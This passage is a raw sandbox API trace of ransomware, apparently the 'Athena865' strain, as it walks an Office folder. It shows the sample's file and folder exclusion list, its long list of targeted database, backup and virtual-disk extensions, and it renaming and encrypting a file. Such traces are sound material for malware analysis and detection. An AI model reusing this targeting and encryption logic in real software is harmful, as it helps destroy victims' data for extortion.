ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0113.723] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0113.723] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0113.723] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2=".") returned 1 [0113.723] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2="..") returned 1 [0113.723] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2="windows") returned -1 [0113.723] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2="bootmgr") returned 1 [0113.723] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2="temp") returned -1 [0113.723] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2="pagefile.sys") returned -1 [0113.723] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2="boot") returned 1 [0113.723] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2="ids.txt") returned 1 [0113.723] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2="ntuser.dat") returned -1 [0113.723] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2="perflogs") returned -1 [0113.723] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2="MSBuild") returned 1 [0113.723] lstrlenW (lpString="MSOICONS.EXE") returned 12 [0113.723] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MSOICONS.EXE" | out: lpString1="MSOICONS.EXE") returned="MSOICONS.EXE" [0113.723] lstrlenW (lpString="MSOICONS.EXE") returned 12 [0113.723] lstrlenW (lpString="Athena865") returned 9 [0113.723] lstrcmpiW (lpString1="ICONS.EXE", lpString2="Athena865") returned 1 [0113.724] lstrlenW (lpString=".dll") returned 4 [0113.724] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2=".dll") returned 1 [0113.724] lstrlenW (lpString=".lnk") returned 4 [0113.724] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2=".lnk") returned 1 [0113.724] lstrlenW (lpString=".ini") returned 4 [0113.724] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2=".ini") returned 1 [0113.724] lstrlenW (lpString=".sys") returned 4 [0113.724] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2=".sys") returned 1 [0113.724] lstrlenW (lpString="MSOICONS.EXE") returned 12 [0113.724] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.Athena865") returned 78 [0113.724] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe.athena865"), dwFlags=0x1) returned 1 [0113.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0113.729] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=473952) returned 1 [0113.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0113.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0113.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0113.729] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0113.730] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0113.730] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.730] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x73e60, lpName=0x0) returned 0x17c [0113.731] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x73e60) returned 0x2d50000 [0113.760] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0113.761] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0113.761] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0113.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0113.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0113.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0113.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0113.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0113.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0113.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0113.762] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0113.765] CloseHandle (hObject=0x17c) returned 1 [0113.765] CloseHandle (hObject=0x154) returned 1 [0113.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0113.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0113.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0113.768] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0113.768] lstrcmpiW (lpString1="MSORES.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0113.768] lstrcmpiW (lpString1="MSORES.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0113.768] lstrcmpiW (lpString1="MSORES.DLL", lpString2=".") returned 1 [0113.768] lstrcmpiW (lpString1="MSORES.DLL", lpString2="..") returned 1 [0113.768] lstrcmpiW (lpString1="MSORES.DLL", lpString2="windows") returned -1 [0113.768] lstrcmpiW (lpString1="MSORES.DLL", lpString2="bootmgr") returned 1 [0113.768] lstrcmpiW (lpString1="MSORES.DLL", lpString2="temp") returned -1 [0113.768] lstrcmpiW (lpString1="MSORES.DLL", lpString2="pagefile.sys") returned -1 [0113.768] lstrcmpiW (lpString1="MSORES.DLL", lpString2="boot") returned 1 [0113.768] lstrcmpiW (lpString1="MSORES.DLL", lpString2="ids.txt") returned 1 [0113.768] lstrcmpiW (lpString1="MSORES.DLL", lpString2="ntuser.dat") returned -1 [0113.768] lstrcmpiW (lpString1="MSORES.DLL", lpString2="perflogs") returned -1 [0113.768] lstrcmpiW (lpString1="MSORES.DLL", lpString2="MSBuild") returned 1 [0113.768] lstrlenW (lpString="MSORES.DLL") returned 10 [0113.768] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MSORES.DLL" | out: lpString1="MSORES.DLL") returned="MSORES.DLL" [0113.768] lstrlenW (lpString="MSORES.DLL") returned 10 [0113.768] lstrlenW (lpString="Athena865") returned 9 [0113.768] lstrcmpiW (lpString1="SORES.DLL", lpString2="Athena865") returned 1 [0113.768] lstrlenW (lpString=".dll") returned 4 [0113.768] lstrcmpiW (lpString1="MSORES.DLL", lpString2=".dll") returned 1 [0113.768] lstrlenW (lpString=".lnk") returned 4 [0113.768] lstrcmpiW (lpString1="MSORES.DLL", lpString2=".lnk") returned 1 [0113.768] lstrlenW (lpString=".ini") returned 4 [0113.768] lstrcmpiW (lpString1="MSORES.DLL", lpString2=".ini") returned 1 [0113.768] lstrlenW (lpString=".sys") returned 4 [0113.769] lstrcmpiW (lpString1="MSORES.DLL", lpString2=".sys") returned 1 [0113.769] lstrlenW (lpString="MSORES.DLL") returned 10 [0113.769] lstrlenW (lpString="bak") returned 3 [0113.769] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0113.769] lstrlenW (lpString="ba_") returned 3 [0113.769] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0113.769] lstrlenW (lpString="dbb") returned 3 [0113.769] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0113.769] lstrlenW (lpString="vmdk") returned 4 [0113.769] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0113.769] lstrlenW (lpString="rar") returned 3 [0113.769] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0113.769] lstrlenW (lpString="zip") returned 3 [0113.769] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0113.769] lstrlenW (lpString="tgz") returned 3 [0113.769] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0113.769] lstrlenW (lpString="vbox") returned 4 [0113.769] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0113.769] lstrlenW (lpString="vdi") returned 3 [0113.769] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0113.769] lstrlenW (lpString="vhd") returned 3 [0113.769] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0113.769] lstrlenW (lpString="vhdx") returned 4 [0113.769] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0113.769] lstrlenW (lpString="avhd") returned 4 [0113.769] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0113.769] lstrlenW (lpString="db") returned 2 [0113.769] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0113.769] lstrlenW (lpString="db2") returned 3 [0113.769] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0113.770] lstrlenW (lpString="db3") returned 3 [0113.770] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0113.770] lstrlenW (lpString="dbf") returned 3 [0113.770] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0113.770] lstrlenW (lpString="mdf") returned 3 [0113.770] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0113.770] lstrlenW (lpString="mdb") returned 3 [0113.770] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0113.770] lstrlenW (lpString="sql") returned 3 [0113.770] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0113.770] lstrlenW (lpString="sqlite") returned 6 [0113.770] lstrcmpiW (lpString1="ES.DLL", lpString2="sqlite") returned -1 [0113.770] lstrlenW (lpString="sqlite3") returned 7 [0113.770] lstrcmpiW (lpString1="RES.DLL", lpString2="sqlite3") returned -1 [0113.770] lstrlenW (lpString="sqlitedb") returned 8 [0113.770] lstrcmpiW (lpString1="ORES.DLL", lpString2="sqlitedb") returned -1 [0113.770] lstrlenW (lpString="xml") returned 3 [0113.770] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0113.770] lstrlenW (lpString="$er") returned 3 [0113.770] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0113.770] lstrlenW (lpString="4dd") returned 3 [0113.770] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0113.770] lstrlenW (lpString="4dl") returned 3 [0113.770] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0113.770] lstrlenW (lpString="^^^") returned 3 [0113.770] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0113.770] lstrlenW (lpString="abs") returned 3 [0113.770] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0113.770] lstrlenW (lpString="abx") returned 3 [0113.770] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0113.771] lstrlenW (lpString="accdb") returned 5 [0113.771] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0113.771] lstrlenW (lpString="accdc") returned 5 [0113.771] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0113.771] lstrlenW (lpString="accde") returned 5 [0113.771] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0113.771] lstrlenW (lpString="accdr") returned 5 [0113.771] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0113.771] lstrlenW (lpString="accdt") returned 5 [0113.771] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0113.771] lstrlenW (lpString="accdw") returned 5 [0113.771] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0113.771] lstrlenW (lpString="accft") returned 5 [0113.771] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0113.771] lstrlenW (lpString="adb") returned 3 [0113.771] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0113.771] lstrlenW (lpString="adb") returned 3 [0113.771] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0113.771] lstrlenW (lpString="ade") returned 3 [0113.771] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0113.771] lstrlenW (lpString="adf") returned 3 [0113.771] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0113.771] lstrlenW (lpString="adn") returned 3 [0113.771] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0113.771] lstrlenW (lpString="adp") returned 3 [0113.771] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0113.771] lstrlenW (lpString="alf") returned 3 [0113.771] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0113.771] lstrlenW (lpString="ask") returned 3 [0113.771] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0113.772] lstrlenW (lpString="btr") returned 3 [0113.772] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0113.772] lstrlenW (lpString="cat") returned 3 [0113.772] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0113.772] lstrlenW (lpString="cdb") returned 3 [0113.772] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0113.772] lstrlenW (lpString="ckp") returned 3 [0113.772] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0113.772] lstrlenW (lpString="cma") returned 3 [0113.772] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0113.772] lstrlenW (lpString="cpd") returned 3 [0113.772] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0113.772] lstrlenW (lpString="dacpac") returned 6 [0113.772] lstrcmpiW (lpString1="ES.DLL", lpString2="dacpac") returned 1 [0113.772] lstrlenW (lpString="dad") returned 3 [0113.772] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0113.772] lstrlenW (lpString="dadiagrams") returned 10 [0113.772] lstrlenW (lpString="daschema") returned 8 [0113.772] lstrcmpiW (lpString1="ORES.DLL", lpString2="daschema") returned 1 [0113.772] lstrlenW (lpString="db-journal") returned 10 [0113.772] lstrlenW (lpString="db-shm") returned 6 [0113.772] lstrcmpiW (lpString1="ES.DLL", lpString2="db-shm") returned 1 [0113.772] lstrlenW (lpString="db-wal") returned 6 [0113.772] lstrcmpiW (lpString1="ES.DLL", lpString2="db-wal") returned 1 [0113.772] lstrlenW (lpString="dbc") returned 3 [0113.772] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0113.772] lstrlenW (lpString="dbs") returned 3 [0113.772] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0113.772] lstrlenW (lpString="dbt") returned 3 [0113.772] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0113.773] lstrlenW (lpString="dbv") returned 3 [0113.773] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0113.773] lstrlenW (lpString="dbx") returned 3 [0113.773] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0113.773] lstrlenW (lpString="dcb") returned 3 [0113.773] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0113.773] lstrlenW (lpString="dct") returned 3 [0113.773] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0113.773] lstrlenW (lpString="dcx") returned 3 [0113.773] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0113.773] lstrlenW (lpString="ddl") returned 3 [0113.773] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0113.773] lstrlenW (lpString="dlis") returned 4 [0113.773] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0113.773] lstrlenW (lpString="dp1") returned 3 [0113.773] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0113.773] lstrlenW (lpString="dqy") returned 3 [0113.773] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0113.773] lstrlenW (lpString="dsk") returned 3 [0113.773] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0113.773] lstrlenW (lpString="dsn") returned 3 [0113.773] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0113.773] lstrlenW (lpString="dtsx") returned 4 [0113.773] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0113.773] lstrlenW (lpString="dxl") returned 3 [0113.773] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0113.773] lstrlenW (lpString="eco") returned 3 [0113.773] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0113.774] lstrlenW (lpString="ecx") returned 3 [0113.774] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0113.774] lstrlenW (lpString="edb") returned 3 [0113.774] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0113.774] lstrlenW (lpString="epim") returned 4 [0113.774] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0113.774] lstrlenW (lpString="fcd") returned 3 [0113.774] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0113.774] lstrlenW (lpString="fdb") returned 3 [0113.774] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0113.774] lstrlenW (lpString="fic") returned 3 [0113.774] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0113.774] lstrlenW (lpString="flexolibrary") returned 12 [0113.774] lstrlenW (lpString="fm5") returned 3 [0113.774] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0113.774] lstrlenW (lpString="fmp") returned 3 [0113.774] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0113.774] lstrlenW (lpString="fmp12") returned 5 [0113.774] lstrcmpiW (lpString1="S.DLL", lpString2="fmp12") returned 1 [0113.774] lstrlenW (lpString="fmpsl") returned 5 [0113.774] lstrcmpiW (lpString1="S.DLL", lpString2="fmpsl") returned 1 [0113.774] lstrlenW (lpString="fol") returned 3 [0113.774] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0113.774] lstrlenW (lpString="fp3") returned 3 [0113.774] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0113.774] lstrlenW (lpString="fp4") returned 3 [0113.774] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0113.774] lstrlenW (lpString="fp5") returned 3 [0113.774] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0113.775] lstrlenW (lpString="fp7") returned 3 [0113.775] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0113.775] lstrlenW (lpString="fpt") returned 3 [0113.775] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0113.775] lstrlenW (lpString="frm") returned 3 [0113.775] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0113.775] lstrlenW (lpString="gdb") returned 3 [0113.775] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0113.775] lstrlenW (lpString="gdb") returned 3 [0113.775] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0113.775] lstrlenW (lpString="grdb") returned 4 [0113.775] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0113.775] lstrlenW (lpString="gwi") returned 3 [0113.775] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0113.775] lstrlenW (lpString="hdb") returned 3 [0113.775] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0113.775] lstrlenW (lpString="his") returned 3 [0113.775] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0113.775] lstrlenW (lpString="ib") returned 2 [0113.775] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0113.775] lstrlenW (lpString="idb") returned 3 [0113.775] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0113.775] lstrlenW (lpString="ihx") returned 3 [0113.775] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0113.775] lstrlenW (lpString="itdb") returned 4 [0113.775] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0113.775] lstrlenW (lpString="itw") returned 3 [0113.775] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0113.775] lstrlenW (lpString="jet") returned 3 [0113.775] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0113.776] lstrlenW (lpString="jtx") returned 3 [0113.776] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0113.776] lstrlenW (lpString="kdb") returned 3 [0113.776] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0113.776] lstrlenW (lpString="kexi") returned 4 [0113.776] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0113.776] lstrlenW (lpString="kexic") returned 5 [0113.776] lstrcmpiW (lpString1="S.DLL", lpString2="kexic") returned 1 [0113.776] lstrlenW (lpString="kexis") returned 5 [0113.776] lstrcmpiW (lpString1="S.DLL", lpString2="kexis") returned 1 [0113.776] lstrlenW (lpString="lgc") returned 3 [0113.776] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0113.776] lstrlenW (lpString="lwx") returned 3 [0113.776] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0113.776] lstrlenW (lpString="maf") returned 3 [0113.776] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0113.776] lstrlenW (lpString="maq") returned 3 [0113.776] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0113.776] lstrlenW (lpString="mar") returned 3 [0113.776] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0113.776] lstrlenW (lpString="marshal") returned 7 [0113.776] lstrcmpiW (lpString1="RES.DLL", lpString2="marshal") returned 1 [0113.776] lstrlenW (lpString="mas") returned 3 [0113.776] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0113.776] lstrlenW (lpString="mav") returned 3 [0113.776] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0113.776] lstrlenW (lpString="maw") returned 3 [0113.776] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0113.776] lstrlenW (lpString="mdbhtml") returned 7 [0113.776] lstrcmpiW (lpString1="RES.DLL", lpString2="mdbhtml") returned 1 [0113.777] lstrlenW (lpString="mdn") returned 3 [0113.777] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0113.777] lstrlenW (lpString="mdt") returned 3 [0113.777] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0113.777] lstrlenW (lpString="mfd") returned 3 [0113.777] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0113.777] lstrlenW (lpString="mpd") returned 3 [0113.777] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0113.777] lstrlenW (lpString="mrg") returned 3 [0113.777] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0113.777] lstrlenW (lpString="mud") returned 3 [0113.777] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0113.777] lstrlenW (lpString="mwb") returned 3 [0113.777] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0113.777] lstrlenW (lpString="myd") returned 3 [0113.777] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0113.777] lstrlenW (lpString="ndf") returned 3 [0113.777] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0113.777] lstrlenW (lpString="nnt") returned 3 [0113.777] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0113.777] lstrlenW (lpString="nrmlib") returned 6 [0113.777] lstrcmpiW (lpString1="ES.DLL", lpString2="nrmlib") returned -1 [0113.777] lstrlenW (lpString="ns2") returned 3 [0113.777] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0113.777] lstrlenW (lpString="ns3") returned 3 [0113.777] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0113.777] lstrlenW (lpString="ns4") returned 3 [0113.777] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0113.777] lstrlenW (lpString="nsf") returned 3 [0113.777] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0113.778] lstrlenW (lpString="nv") returned 2 [0113.778] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0113.778] lstrlenW (lpString="nv2") returned 3 [0113.778] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0113.778] lstrlenW (lpString="nwdb") returned 4 [0113.778] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0113.778] lstrlenW (lpString="nyf") returned 3 [0113.778] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0113.778] lstrlenW (lpString="odb") returned 3 [0113.778] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0113.778] lstrlenW (lpString="odb") returned 3 [0113.778] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0113.778] lstrlenW (lpString="oqy") returned 3 [0113.778] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0113.778] lstrlenW (lpString="ora") returned 3 [0113.778] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0113.778] lstrlenW (lpString="orx") returned 3 [0113.778] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0113.778] lstrlenW (lpString="owc") returned 3 [0113.778] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0113.778] lstrlenW (lpString="p96") returned 3 [0113.778] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0113.778] lstrlenW (lpString="p97") returned 3 [0113.778] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0113.778] lstrlenW (lpString="pan") returned 3 [0113.778] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0113.778] lstrlenW (lpString="pdb") returned 3 [0113.778] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0113.778] lstrlenW (lpString="pdm") returned 3 [0113.778] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0113.779] lstrlenW (lpString="pnz") returned 3 [0113.779] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0113.779] lstrlenW (lpString="qry") returned 3 [0113.779] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0113.779] lstrlenW (lpString="qvd") returned 3 [0113.779] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0113.779] lstrlenW (lpString="rbf") returned 3 [0113.779] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0113.779] lstrlenW (lpString="rctd") returned 4 [0113.779] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0113.779] lstrlenW (lpString="rod") returned 3 [0113.779] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0113.779] lstrlenW (lpString="rodx") returned 4 [0113.779] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0113.779] lstrlenW (lpString="rpd") returned 3 [0113.779] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0113.779] lstrlenW 